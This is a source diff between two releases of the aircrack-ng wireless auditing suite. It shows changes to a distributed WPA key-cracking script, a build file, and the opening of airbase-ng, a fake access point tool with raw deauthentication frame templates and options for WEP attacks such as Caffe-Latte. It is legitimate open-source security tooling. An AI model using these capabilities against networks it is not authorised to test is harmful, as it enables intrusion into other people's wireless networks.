+					fid.write(s.rfile.read(cl))
+					POST_failure = False
+				# elif s.headers.get('Transfer-Encoding') and s.headers['Transfer-Encoding'] == "chunked":
+				elif s.headers.get('Transfer-Encoding') == "chunked":
+					# With Python3, we need to handle chunked encoding
+					# If someone has a better solution, I'm all ears
+
+					while True:
+						chunk_size_hex = ""
+
+						# Get size
+						while True:
+							c = s.rfile.read(1)
+							if sys.version_info[0] >= 3:
+								c = chr(c[0])
+							if c == '\r':
+								# Skip next char ('\n')
+								c = s.rfile.read(1)
+								break
+							chunk_size_hex += c
+
+						# If string is empty, that's the end of it
+						if not chunk_size_hex:
+							break
+
+						# Convert from hex to integer
+						chunk_size = int(chunk_size_hex, 16)
+
+						# Read the amount of bytes
+						fid.write(s.rfile.read(chunk_size))
+					POST_failure = False
+
+			if (POST_failure == False):
+				if ("dict" in s.path):
+					s.do_upload_dict(tmp_file)
+
+				if ("cap" in s.path):
+					s.do_upload_cap(tmp_file)
 
-		if ("cap" in s.path):
-			s.do_upload_cap()
-
-		s.send_response(200)
-		s.send_header("Content-type", "text/plain")
-		s.end_headers()
-		s.wfile.write(bytes("OK", "UTF-8"))
+		try:
+			s.send_response(200)
+			s.send_header("Content-type", "text/plain")
+			s.end_headers()
+			if POST_failure == False:
+				s.wfile.write(bytes("OK", "UTF-8"))
+			else:
+				s.wfile.write(bytes("NO", "UTF-8"))
+		except BrokenPipeError as bpe:
+			# Connection closed, ignore
+			pass
 
-	def do_upload_dict(s):
+	def do_upload_dict(s, filename):
 		con = get_con()
 
 		f = "dcrack-dict"
 		c = f + ".gz"
-		with open(c, "wb") as fid:
-			cl = int(s.headers['Content-Length'])
-			fid.write(s.rfile.read(cl))
+		os.rename(filename, c)
 
 		decompress(f)
 
@@ -87,11 +134,10 @@
 		c.execute("INSERT into dict values (?, ?, 0)", (h, i))
 		con.commit()
 
-	def do_upload_cap(s):
-		cl = int(s.headers['Content-Length'])
+	def do_upload_cap(s, filename):
+
 		tmp_cap = "/tmp/" + next(tempfile._get_candidate_names()) + ".cap"
-		with open(tmp_cap + ".gz", "wb") as fid:
-			fid.write(s.rfile.read(cl))
+		os.rename(filename, tmp_cap + ".gz")
 
 		decompress(tmp_cap)
         
@@ -604,7 +650,7 @@
 	speed = p.stdout.readline()
 	speed = speed.split()
 	speed = speed[len(speed) - 2]
-	return int(speed)
+	return int(float(speed))
 
 def get_cid():
 	return random.getrandbits(64)
@@ -673,6 +719,7 @@
 
 	cracker = None
 
+	KEY_FOUND_STR = "KEY FOUND! [ "
 	if ("not in dictionary" in res):
 		print("No luck")
 		u = "%snet/%s/result?wl=%s&start=%d&end=%d&found=0" % \
@@ -680,14 +727,18 @@
 			crack['start'], crack['end'])
 
 		stuff = urlopen(u).read()
-	elif "KEY FOUND" in res:
-		pw = re.sub("^.*\[ ", "", res)
+	elif KEY_FOUND_STR in res:
+		start_pos = res.find(KEY_FOUND_STR) + len(KEY_FOUND_STR)
 
-		i = pw.rfind(" ]")
-		if i == -1:
+		end_pos = res.rfind(" ]")
+		if end_pos == -1 or end_pos - start_pos < 1:
 			raise BaseException("Can't parse output")
+		if end_pos - start_pos < 8:
+			raise BaseException("Failed parsing - Key too short")
+		if end_pos - start_pos > 63:
+			raise BaseException("Failed parsing - Key too long")
 
-		pw = pw[:i]
+		pw = res[start_pos:end_pos]
 
 		print("Key for %s is %s" % (crack['net'], pw))
 
@@ -1006,6 +1057,7 @@
 
 	u = url + "cap/create"
 	ret = upload_file(u, clean_cap + ".gz")
+	ret = ret.decode("UTF-8")
 	if ret == "OK":
 		print("Upload successful")
 	elif ret == "NO":
@@ -1018,6 +1070,7 @@
 
 def cmd_crack():
 	ret = net_cmd("crack")
+	ret = ret.decode("UTF-8")
 	if ret == "OK":
 		print("Cracking job successfully added")
 	elif ret == "NO":

aircrack-ng-1.4.tar.gz/scripts/versuck-ng/Makefile.am -> aircrack-ng-1.6.tar.gz/scripts/versuck-ng/Makefile.am Changed

aircrack-ng-1.4.tar.gz/scripts/versuck-ng/versuck-ng -> aircrack-ng-1.6.tar.gz/scripts/versuck-ng/versuck-ng Changed

aircrack-ng-1.6.tar.gz/src/Makefile.inc Added

@@ -0,0 +1,234 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+SRC_LINECOUNT	= %D%/aircrack-ng/linecount.cpp
+
+SRC_AC			= %D%/aircrack-ng/aircrack-ng.c
+SRC_AD			= %D%/airdecap-ng/airdecap-ng.c
+SRC_PF			= %D%/packetforge-ng/packetforge-ng.c
+SRC_AR			= %D%/aireplay-ng/aireplay-ng.c
+SRC_ADU			= %D%/airodump-ng/airodump-ng.c
+
+SRC_AT			= %D%/airtun-ng/airtun-ng.c
+SRC_IV			= %D%/ivstools/ivstools.c
+SRC_AS			= %D%/airserv-ng/airserv-ng.c
+SRC_WS			= %D%/wesside-ng/wesside-ng.c
+SRC_BS			= %D%/besside-ng/besside-ng.c
+SRC_BC			= %D%/besside-ng-crawler/besside-ng-crawler.c
+SRC_AL			= %D%/airolib-ng/airolib-ng.c
+SRC_KS			= %D%/kstats/kstats.c
+SRC_ES			= %D%/easside-ng/easside-ng.c
+SRC_BUDDY		= %D%/buddy-ng/buddy-ng.c
+SRC_MI			= %D%/makeivs-ng/makeivs-ng.c
+SRC_AB			= %D%/airbase-ng/airbase-ng.c
+SRC_AU			= %D%/airdecloak-ng/airdecloak-ng.c
+SRC_TT			= %D%/tkiptun-ng/tkiptun-ng.c
+SRC_WC			= %D%/wpaclean/wpaclean.c
+SRC_AV			= %D%/airventriloquist-ng/airventriloquist-ng.c
+SRC_SESSION	= %D%/aircrack-ng/session.c
+SRC_DWRITE	= %D%/airodump-ng/dump_write.c
+
+bin_PROGRAMS += aircrack-ng \
+                airdecap-ng \
+                packetforge-ng \
+                ivstools \
+                kstats \
+                makeivs-ng \
+                airdecloak-ng
+
+if EXPERIMENTAL
+if HAVE_PCAP
+bin_PROGRAMS += besside-ng-crawler
+endif
+endif
+
+bin_PROGRAMS += wpaclean
+
+sbin_PROGRAMS += airbase-ng \
+                 aireplay-ng \
+                 airodump-ng \
+                 airserv-ng \
+                 airtun-ng
+
+if HAVE_SQLITE3
+bin_PROGRAMS += airolib-ng
+endif
+
+if EXPERIMENTAL
+bin_PROGRAMS += buddy-ng
+
+sbin_PROGRAMS += airventriloquist-ng
+
+if HAVE_AIRPCAP_OR_PCAP
+sbin_PROGRAMS += besside-ng \
+                 easside-ng \
+                 tkiptun-ng \
+                 wesside-ng
+endif
+endif
+
+aircrack_ng_SOURCES		= $(SRC_AC) $(SRC_LINECOUNT) $(SRC_SESSION)
+aircrack_ng_CFLAGS		= $(COMMON_CFLAGS) $(SQLITE3_CFLAGS) $(LIBPTW_CFLAGS)
+aircrack_ng_CPPFLAGS	= $(AM_CPPFLAGS) -I$(abs_srcdir)/src/aircrack-ng
+aircrack_ng_LDADD			= $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) $(LIBAIRCRACK_CE_WEP_LIBS) $(SQLITE3_LDFLAGS) $(SQLITE3_LIBS) $(LIBPTW_LIBS) $(COMMON_LDADD) $(CRYPTO_LIBS) $(HWLOC_LIBS)
+
+if STATIC_BUILD
+aircrack_ng_CFLAGS		+= -DDYNAMIC=0
+aircrack_ng_LDADD			+= $(LIBAIRCRACK_CE_WPA@SIMD_SUFFIX@_LIBS)
+else
+aircrack_ng_LDFLAGS		= -rdynamic
+endif
+
+airdecap_ng_SOURCES	= $(SRC_AD)
+airdecap_ng_CFLAGS	= $(COMMON_CFLAGS) $(CRYPTO_CFLAGS)
+airdecap_ng_LDADD		= $(LIBACCRYPTO_LIBS) $(COMMON_LDADD) $(LIBAIRCRACK_LIBS) $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS)
+
+packetforge_ng_SOURCES	= $(SRC_PF)
+packetforge_ng_CFLAGS		= $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+packetforge_ng_LDADD		= $(COMMON_LDADD) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+aireplay_ng_SOURCES	= $(SRC_AR)
+aireplay_ng_CFLAGS	= $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+aireplay_ng_LDADD		= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+airodump_ng_SOURCES		= $(SRC_ADU) $(SRC_DWRITE)
+airodump_ng_CFLAGS		= $(COMMON_CFLAGS) $(PCRE_CFLAGS) $(LIBNL_CFLAGS)
+airodump_ng_CPPFLAGS	= $(AM_CPPFLAGS) -I$(abs_srcdir)/src/airodump-ng
+airodump_ng_LDADD			= $(COMMON_LDADD) $(PCRE_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_CE_WEP_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+airserv_ng_SOURCES	= $(SRC_AS)
+airserv_ng_CFLAGS		= $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+airserv_ng_LDADD		= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+airtun_ng_SOURCES	= $(SRC_AT)
+airtun_ng_CFLAGS	= $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+airtun_ng_LDADD		= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+ivstools_SOURCES	= $(SRC_IV)
+ivstools_CFLAGS		= $(COMMON_CFLAGS)
+ivstools_LDADD		= $(COMMON_LDADD) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_CE_WEP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+kstats_SOURCES	= $(SRC_KS)
+kstats_CFLAGS		= $(PTHREAD_CFLAGS)
+kstats_LDADD		= $(COMMON_LDADD)
+
+wesside_ng_SOURCES	= $(SRC_WS)
+wesside_ng_CFLAGS		= $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+wesside_ng_LDADD		= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(LIBPTW_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+easside_ng_SOURCES	= $(SRC_ES)
+easside_ng_CFLAGS		= $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+easside_ng_CPPFLAGS	= $(AM_CPPFLAGS) -I$(abs_srcdir)/src/easside-ng
+easside_ng_LDADD		= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+buddy_ng_SOURCES	= $(SRC_BUDDY)
+buddy_ng_CFLAGS		= $(COMMON_CFLAGS) $(PTHREAD_CFLAGS)
+buddy_ng_CPPFLAGS	= $(AM_CPPFLAGS) -I$(abs_srcdir)/src/easside-ng
+buddy_ng_LDADD		= $(COMMON_LDADD) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+besside_ng_SOURCES	= $(SRC_BS)
+besside_ng_CFLAGS		= $(COMMON_CFLAGS) $(PCRE_CFLAGS) $(LIBNL_CFLAGS)
+besside_ng_LDADD		= $(COMMON_LDADD) $(PCRE_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(LIBPTW_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+besside_ng_crawler_SOURCES	= $(SRC_BC)
+besside_ng_crawler_CFLAGS		= $(COMMON_CFLAGS) $(PCAP_CFLAGS)
+besside_ng_crawler_LDADD		= $(COMMON_LDADD) $(PCAP_LIBS) $(CRYPTO_LIBS)
+
+makeivs_ng_SOURCES	= $(SRC_MI)
+makeivs_ng_CFLAGS		= $(COMMON_CFLAGS)
+makeivs_ng_LDADD		= $(COMMON_LDADD) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_CE_WEP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+airolib_ng_SOURCES	= $(SRC_AL)
+airolib_ng_CFLAGS		= $(COMMON_CFLAGS) $(SQLITE3_CFLAGS) -DHAVE_REGEXP
+airolib_ng_LDADD		= $(COMMON_LDADD) $(SQLITE3_LDFLAGS) $(SQLITE3_LIBS) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_CE_WEP_LIBS) $(LIBCOWPATTY_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+airbase_ng_SOURCES	= $(SRC_AB)
+airbase_ng_CFLAGS		= $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+airbase_ng_LDADD		= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_CE_WEP_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+airdecloak_ng_SOURCES		= $(SRC_AU)
+airdecloak_ng_CFLAGS		= $(COMMON_CFLAGS)
+airdecloak_ng_CPPFLAGS	= $(AM_CPPFLAGS) -I$(abs_srcdir)/src/airdecloak-ng
+airdecloak_ng_LDADD			= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+tkiptun_ng_SOURCES	= $(SRC_TT)
+tkiptun_ng_CFLAGS		= $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+tkiptun_ng_LDADD		= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+wpaclean_SOURCES	= $(SRC_WC)
+wpaclean_CFLAGS		= $(COMMON_CFLAGS) $(LIBNL_CFLAGS) $(LIBAIRCRACK_UTIL_CFLAGS)
+wpaclean_LDADD		= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+airventriloquist_ng_SOURCES		= $(SRC_AV)
+airventriloquist_ng_CFLAGS		= $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+airventriloquist_ng_CPPFLAGS	= $(AM_CPPFLAGS) -I$(abs_srcdir)/src/airventriloquist-ng
+airventriloquist_ng_LDADD 		= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
+
+EXTRA_DIST +=	%D%/wpaclean/wpaclean.c \
+							%D%/buddy-ng/buddy-ng.c \
+							%D%/airdecloak-ng/airdecloak-ng.h \
+							%D%/airserv-ng/airserv-ng.c \
+							%D%/besside-ng/besside-ng.c \
+							%D%/aircrack-ng/wkp-frame.h \
+							%D%/airolib-ng/airolib-ng.c \
+							%D%/makeivs-ng/makeivs-ng.c \
+							%D%/easside-ng/easside-ng.c \
+							%D%/airdecap-ng/airdecap-ng.c \
+							%D%/airodump-ng/airodump-ng.h \
+							%D%/airbase-ng/airbase-ng.c \
+							%D%/besside-ng-crawler/besside-ng-crawler.c \
+							%D%/tkiptun-ng/tkiptun-ng.c \
+							%D%/kstats/kstats.c \
+							%D%/easside-ng/easside.h \
+							%D%/aireplay-ng/aireplay-ng.c \
+							%D%/ivstools/ivstools.c \
+							%D%/aircrack-ng/aircrack-ng.c \
+							%D%/airodump-ng/airodump-ng.c \
+							%D%/airdecloak-ng/airdecloak-ng.c \
+							%D%/packetforge-ng/packetforge-ng.c \
+							%D%/airventriloquist-ng/airventriloquist-ng.c \
+							%D%/airventriloquist-ng/airventriloquist-ng.h \
+							%D%/wesside-ng/wesside-ng.c \
+							%D%/airtun-ng/airtun-ng.c \
+							%D%/aircrack-ng/linecount.h \
+							%D%/aircrack-ng/linecount.cpp \
+							%D%/aircrack-ng/session.c \
+							%D%/aircrack-ng/session.h \
+							%D%/airodump-ng/dump_write.h \
+							%D%/airodump-ng/dump_write.c

aircrack-ng-1.6.tar.gz/src/airbase-ng Added

aircrack-ng-1.6.tar.gz/src/airbase-ng/airbase-ng.c Added

@@ -0,0 +1,4234 @@
+/*
+ *  802.11 monitor AP
+ *  based on airtun-ng
+ *
+ *  Copyright (C) 2008-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2008, 2009 Martin Beck <martin.beck2@gmx.de>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#ifdef linux
+#include <linux/rtc.h>
+#endif
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <dirent.h>
+#include <signal.h>
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <errno.h>
+#include <time.h>
+#include <getopt.h>
+#include <sys/file.h>
+#include <fcntl.h>
+
+#include <ctype.h>
+
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/third-party/eapol.h"
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/support/communications.h"
+#include "aircrack-ng/support/fragments.h"
+#include "aircrack-ng/osdep/osdep.h"
+#include "aircrack-ng/support/common.h"
+
+#define EXT_IN 0x01
+#define EXT_OUT 0x02
+
+#define MAX_CF_XMIT 100
+
+#define TI_MTU 1500
+#define WIF_MTU 1800
+
+#define MAX_FRAME_EXTENSION 100
+
+#define RTC_RESOLUTION 512
+
+#define ALLOW_MACS 0
+#define BLOCK_MACS 1
+
+#define DEAUTH_REQ                                                             \
+	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
+
+#define AUTH_REQ                                                               \
+	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
+
+#define ASSOC_REQ                                                              \
+	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
+
+#define NULL_DATA                                                              \
+	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
+
+#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
+
+#define RATES "\x01\x04\x02\x04\x0B\x16"
+
+#define EXTENDED_RATES "\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
+
+#define PROBE_REQ                                                              \
+	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
+
+#define PROBE_RSP                                                              \
+	"\x50\x00\x3a\x01\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
+
+#define WPA1_TAG                                                               \
+	"\xdd\x16\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50"         \
+	"\xf2\x01\x01\x00\x00\x50\xf2\x02"
+
+#define WPA2_TAG                                                               \
+	"\x30\x14\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x01\x01\x00"         \
+	"\x00\x0f\xac\x02\x01\x00"
+
+#define ALL_WPA2_TAGS                                                          \
+	"\x30\x28\x01\x00\x00\x0f\xac\x01\x05\x00\x00\x0f\xac\x01\x00\x0f"         \
+	"\xac\x02\x00\x0f\xac\x03\x00\x0f\xac\x04\x00\x0f\xac\x05\x02\x00"         \
+	"\x00\x0f\xac\x01\x00\x0f\xac\x02\x03\x00"
+
+#define ALL_WPA1_TAGS                                                          \
+	"\xdd\x2A\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x05\x00\x00\x50"         \
+	"\xf2\x01\x00\x50\xf2\x02\x00\x50\xf2\x03\x00\x50\xf2\x04\x00\x50"         \
+	"\xf2\x05\x02\x00\x00\x50\xf2\x01\x00\x50\xf2\x02"
+
+static const char usage[]
+	= "\n"
+	  "  %s - (C) 2008-2020 Thomas d'Otreppe\n"
+	  "  Original work: Martin Beck\n"
+	  "  https://www.aircrack-ng.org\n"
+	  "\n"
+	  "  usage: airbase-ng <options> <replay interface>\n"
+	  "\n"
+	  "  Options:\n"
+	  "\n"
+	  "      -a bssid         : set Access Point MAC address\n"
+	  "      -i iface         : capture packets from this interface\n"
+	  // "      -y file          : read PRGA from this file\n"
+	  "      -w WEP key       : use this WEP key to en-/decrypt packets\n"
+	  // "      -t tods          : send frames to AP (1) or to client (0)\n"
+	  // "      -r file          : read frames out of pcap file\n"
+	  "      -h MAC           : source mac for MITM mode\n"
+	  "      -f disallow      : disallow specified client MACs (default: "
+	  "allow)\n"
+	  "      -W 0|1           : [don't] set WEP flag in beacons 0|1 (default: "
+	  "auto)\n"
+	  "      -q               : quiet (do not print statistics)\n"
+	  "      -v               : verbose (print more messages)\n"
+	  //"      -M               : M-I-T-M between [specified] clients and
+	  // bssids\n"
+	  "      -A               : Ad-Hoc Mode (allows other clients to peer)\n"
+	  "      -Y in|out|both   : external packet processing\n"
+	  "      -c channel       : sets the channel the AP is running on\n"
+	  "      -X               : hidden ESSID\n"
+	  "      -s               : force shared key authentication (default: "
+	  "auto)\n"
+	  "      -S               : set shared key challenge length (default: "
+	  "128)\n"
+	  "      -L               : Caffe-Latte WEP attack (use if driver can't "
+	  "send "
+	  "frags)\n"
+	  "      -N               : cfrag WEP attack (recommended)\n"
+	  "      -x nbpps         : number of packets per second (default: 100)\n"
+	  "      -y               : disables responses to broadcast probes\n"
+	  "      -0               : set all WPA,WEP,open tags. can't be used with "
+	  "-z "
+	  "& -Z\n"
+	  "      -z type          : sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP "
+	  "5=WEP104\n"
+	  "      -Z type          : same as -z, but for WPA2\n"
+	  "      -V type          : fake EAPOL 1=MD5 2=SHA1 3=auto\n"
+	  "      -F prefix        : write all sent and received frames into pcap "
+	  "file\n"
+	  "      -P               : respond to all probes, even when specifying "
+	  "ESSIDs\n"
+	  "      -I interval      : sets the beacon interval value in ms\n"
+	  "      -C seconds       : enables beaconing of probed ESSID values "
+	  "(requires -P)\n"
+	  "      -n hex           : User specified ANonce when doing the 4-way "
+	  "handshake\n"
+	  "\n"
+	  "  Filter options:\n"
+	  "      --bssid MAC      : BSSID to filter/use\n"
+	  "      --bssids file    : read a list of BSSIDs out of that file\n"
+	  "      --client MAC     : MAC of client to filter\n"
+	  "      --clients file   : read a list of MACs out of that file\n"
+	  "      --essid ESSID    : specify a single ESSID (default: default)\n"
+	  "      --essids file    : read a list of ESSIDs out of that file\n"
+	  "\n"
+	  "      --help           : Displays this usage screen\n"
+	  "\n";
+
+struct communication_options opt;
+static struct local_options
+{
+	struct ST_info *st_1st, *st_end;
+
+	char * dump_prefix;
+	char * keyout;
+
+	int tods;
+
+	int f_essid;
+	int promiscuous;
+	int beacon_cache;
+	int channel;
+	int setWEP;
+	int quiet;
+	int mitm;
+	int external;
+	int hidden;
+	int interval;
+	int forceska;
+	int skalen;
+	int filter;
+	int caffelatte;
+	int adhoc;
+	int nb_arp;
+	int verbose;
+	int wpa1type;
+	int wpa2type;
+	int nobroadprobe;
+	int sendeapol;
+	int allwpa;
+	int cf_count;
+	int cf_attack;
+	int record_data;
+
+	int ti_mtu; // MTU of tun/tap interface
+	int wif_mtu; // MTU of wireless interface
+
+	// Fixed nonce
+	int use_fixed_nonce;
+	unsigned char fixed_nonce[32];
+} lopt;
+
+struct devices dev;
+extern struct wif *_wi_in, *_wi_out;
+extern uint8_t h80211[4096];
+extern uint8_t tmpbuf[4096];
+
+struct ARP_req
+{
+	unsigned char * buf;
+	int len;
+};
+
+struct AP_conf
+{
+	unsigned char bssid[6];
+	char * essid;
+	int essid_len;
+	unsigned short interval;
+	unsigned char capa[2];
+};
+
+typedef struct ESSID_list * pESSID_t;
+struct ESSID_list
+{
+	char * essid;
+	unsigned char len;
+	pESSID_t next;
+	time_t expire;
+};
+
+typedef struct MAC_list * pMAC_t;
+struct MAC_list
+{
+	unsigned char mac[6];
+	pMAC_t next;
+};
+
+#include "aircrack-ng/support/station.h"
+
+typedef struct CF_packet * pCF_t;
+struct CF_packet
+{
+	unsigned char frags[3][128]; /* first fragments to fill a gap */
+	unsigned char final[4096]; /* final frame derived from orig */
+	size_t fraglen[3]; /* fragmentation frame lengths   */
+	size_t finallen; /* length of frame in final[]    */
+	int xmitcount; /* how often was this frame sent */
+	unsigned char fragnum; /* number of fragments to send   */
+	pCF_t next; /* next set of fragments to send */
+};
+
+static pthread_mutex_t mx_cf; /* lock write access to rCF */
+static pthread_mutex_t mx_cap; /* lock write access to rCF */
+
+unsigned long nb_pkt_sent;
+
+static int invalid_channel_displayed;
+
+static struct ARP_req * arp;
+
+static pthread_t beaconpid;
+static pthread_t caffelattepid;
+static pthread_t cfragpid;
+
+static pESSID_t rESSID;
+static pthread_mutex_t rESSIDmutex;
+static pMAC_t rBSSID;
+static pMAC_t rClient;
+pFrag_t rFragment;
+static pCF_t rCF;
+
+// Threads
+static void beacon_thread(void * arg);
+static void caffelatte_thread(void);
+static void cfrag_thread(void);
+
+static int addESSID(char * essid, int len, int expiration)
+{
+	pESSID_t tmp;
+	pESSID_t cur;
+	time_t now;
+	if (essid == NULL) return -1;
+
+	if (len <= 0 || len > 255) return -1;
+
+	ALLEGE(pthread_mutex_lock(&rESSIDmutex) == 0);
+	cur = rESSID;
+
+	if (rESSID == NULL)
+	{
+		ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+		return -1;
+	}
+
+	while (cur->next != NULL)
+	{
+		// if it already exists, just update the expiration time
+		if (cur->len == len && !memcmp(cur->essid, essid, len))
+		{
+			if (cur->expire && expiration)
+			{
+				time(&now);
+				cur->expire = now + expiration;
+			}
+			ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
+			return 0;
+		}
+		cur = cur->next;
+	}
+
+	// alloc mem
+	tmp = (pESSID_t) malloc(sizeof(struct ESSID_list));
+	ALLEGE(tmp != NULL);
+
+	// set essid
+	tmp->essid = (char *) malloc(len + 1);
